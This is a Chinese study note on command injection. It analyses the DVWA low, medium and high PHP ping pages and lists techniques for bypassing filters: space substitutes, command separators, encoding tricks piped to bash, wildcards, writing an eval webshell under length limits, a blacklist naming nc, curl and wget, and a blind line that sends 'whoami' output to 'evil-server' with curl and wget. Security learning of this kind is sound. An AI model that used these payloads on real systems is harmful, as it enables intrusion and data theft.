命令执行:
PHP:system、exec、shell_exec、passthru、popen、proc_popen等称为高危漏洞。
原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。
条件:用户能够控制函数输入,存在可以执行代码的危险函数。
命令执行漏洞产生原因:
开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。
Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。
命令执行漏洞带来的危害:
- 继承Web服务程序的权限去执行系统命令或读写文件。
- 反弹shell
- 控制整个网站甚至控制服务器。
- 进一步内网渗透
PHP中的危险函数:
- system:成功则返回命令输出的最后一行,失败则返回FALSE。
- exec:命令执行结果的最后一行内容。
- shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
- passthru:执行外部程序并且显示原始输出。
- eval:将输入的字符串参数当做PHP程序代码来执行。
- assert
- preg_replace
- call_user_func
low.php
这是完整的代码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
通过观察代码我们可以发现有个shell_exec是危险函数而且没有任何绕过
说明
isset ( mixed $var
, mixed $...
= ? ) : bool
检测变量是否设置,并且不是 null
。
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。若使用 isset() 测试一个被设置成 null
的变量,将返回 false
。同时要注意的是 null 字符("\0"
)并不等同于 PHP 的 null
常量。
如果一次传入多个参数,那么 isset() 只有在全部参数都以被设置时返回 true
计算过程从左至右,中途遇到没有设置的变量时就会立即停止。
参数var
要检查的变量。 ...
其他变量。
返回值
如果 var
存在并且值不是 null
则返回 true
,否则返回 false
。
stristr ( string $haystack
, mixed $needle
, bool $before_needle
= false
) : string
返回 haystack
字符串从 needle
第一次出现的位置开始到结尾的字符串。
参数haystack
在该字符串中查找。 needle
如果 needle
不是一个字符串,那么它将被转换为整型并被视为字符顺序值。 before_needle
若为 true
,strstr() 将返回 needle
在 haystack
中的位置之前的部分(不包括 needle)。
参数 needle
和 haystack
将以不区分大小写的方式对待。
返回值
返回匹配的子字符串。如果 needle
未找到,返回 false
。
php_uname ( string $mode
= “a” ) : string
php_uname() 返回了运行 PHP 的操作系统的描述。 这和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量 PHP_OS
,不过要注意该常量会包含 PHP 构建(built)时的操作系统名。
在一些旧的 UNIX 平台,它有可能无法检测到当前系统的信息,然后会还原显示成构建 PHP 时的系统信息。 这仅仅在你的 uname() 函数库不存在或无法运行时发生。
参数mode
mode
是单个字符,用于定义要返回什么信息:
'a'
:此为默认。包含序列"s n r v m"
里的所有模式。's'
:操作系统名称。例如:FreeBSD
。'n'
:主机名。例如:localhost.example.com
。'r'
:版本名称,例如:5.1.2-RELEASE
。'v'
:版本信息。操作系统之间有很大的不同。'm'
:机器类型。例如:i386
。
medium.php
代码如下所示
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
观察代码我们可以发现设置了黑名单过滤了’&&’和’;’,但是仍然可用其他方式突破;如:| & ||
说明
str_replace ( mixed $search
, mixed $replace
, mixed $subject
, int &$count
= ? ) : mixed
该函数返回一个字符串或者数组。该字符串或数组是将 subject
中全部的 search
都被 replace
替换之后的结果。
如果没有一些特殊的替换需求(比如正则表达式),你应该使用该函数替换 ereg_replace() 和 preg_replace()。
参数
如果 search
和 replace
为数组,那么 str_replace() 将对 subject
做二者的映射替换。如果 replace
的值的个数少于 search
的个数,多余的替换将使用空字符串来进行。如果 search
是一个数组而 replace
是一个字符串,那么 search
中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。
如果 search
和 replace
都是数组,它们的值将会被依次处理。 search
查找的目标值,也就是 needle。一个数组可以指定多个目标。 replace
search
的替换值。一个数组可以被用来指定多重替换。 subject
执行替换的数组或者字符串。也就是 haystack。
如果 subject
是一个数组,替换操作将遍历整个 subject
,返回值也将是一个数组。 count
如果被指定,它的值将被设置为替换发生的次数。
返回值
该函数返回替换后的数组或者字符串。
array_keys ( array $array
, mixed $search_value
= null , bool $strict
= false ) : array
array_keys() 返回 input
数组中的数字或者字符串的键名。
如果指定了可选参数 search_value
,则只返回该值的键名。否则 input
数组中的所有键名都会被返回。
参数input
一个数组,包含了要返回的键。 search_value
如果指定了这个参数,只有包含这些值的键才会返回。 strict
判断在搜索的时候是否该使用严格的比较(===)。
返回值
返回 input
里的所有键。
high.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// 设置黑名单,过滤'&' ';' '|' '-' '$' '(' ')' '\' '`' '||'
//对'|'过滤不严格,后面有空格
//仍然可以突破;'&|&' '|||' ';|;' '|'
$substitutions = array(
'&' => '',
';' => '',
'| ' => '', //此处'|'后有个空格,所以并没有过滤掉'|'
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
对’|’过滤不严格,后面有空格(要不是看了别人笔记还真没看出来。。。)
绕过
1、绕过空格
< -- 重定向,如cat<flag.php
<> -- 重定向,如cat<>flag.php
%09 -- 需要php环境,如cat%09flag.php
${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
2、命令分隔
%0a -- 换行符,需要php环境
%0d -- 回车符,需要php环境
; -- 在 shell 中,担任”连续指令”功能的符号就是”分号”
& -- 不管第一条命令成功与否,都会执行第二条命令
&& -- 第一条命令成功,第二条才会执行
| -- 第一条命令的结果,作为第二条命令的输入
|| -- 第一条命令失败,第二条才会执行
3、命令终结符
%00 -- 需要php环境
%20# -- 需要php环境
4、黑名单绕过
拼接
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}
借他人之手来获取字符
如果过滤了<>?,可以从已有的文件或环境变量中获取自己需要的字符。
如获取 < 符 -- echo `expr substr $(awk NR==1 test.php) 1 1`
反斜杠绕过
示例:
l\s
变量绕过
```php a=l;b=s;$a$b
cat$x /etc/passwd
- `编码绕过`
```php
`echo 'Y2F0Cg==' | base64 -d` flag.txt
echo "63617420666C61672E747874" | xxd -r -p|bash
`printf "\154\163"`
连字符绕过
```php c’’at flag.txt
c””at flag.txt
ca$@t flag.txt
- `反引号绕过`
```php
cat `ls`
$blacklist = [
'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl',
'python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z','dir', 'dd', 'df', 'du', 'free','tempfile',
'touch', 'tee', 'sha', 'x64', 'g','xargs', 'PATH','$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"
];
...(省略部分代码)
foreach($blacklist as $keyword) {
if(strstr($ip, $keyword)) {
return "{$keyword} not allowed";
...(省略部分代码)
exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
通配符*,?与斜杠组合绕过
/bin/sh = /b?n/?h
5、绕过ip中的句点
网络地址可以转换成数字地址,比如127.0.0.1
可以转化为2130706433
。
可以直接访问http://2130706433
或者http://0x7F000001
,这样就可以绕过.
的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP6、liunx工具绕过
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
7、<?=xxx?>绕过
PHP中的<?=xxx?>就可以将一个变量输出$_="xxx";?><?=$_?>
8、长度限制绕过
```php //反斜杠拼接
l\ s
//echo 写入可执行文件
echo \<?php >1 echo eval(>>1 echo \$_GET>>1 echo [1]>>1 echo )\;>>1
//创建文件以命令做文件名,然后以时序导入另一个文件,执行
ls ls -t >a sh a
<a name="oFbQy"></a>
### 9、无回显绕过
```php
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
10、文件构造
在ctfhub文件包含中,有一个shell,txt,也就是文件
我们令?file = shell.txt
,已知shell.txt内容为<?php eval($_REQUEST['ctfhub']);?>
wrequest类型是由get和post构成的
在post数据里输入ctfhub=system("ls /");
就可以执行命令.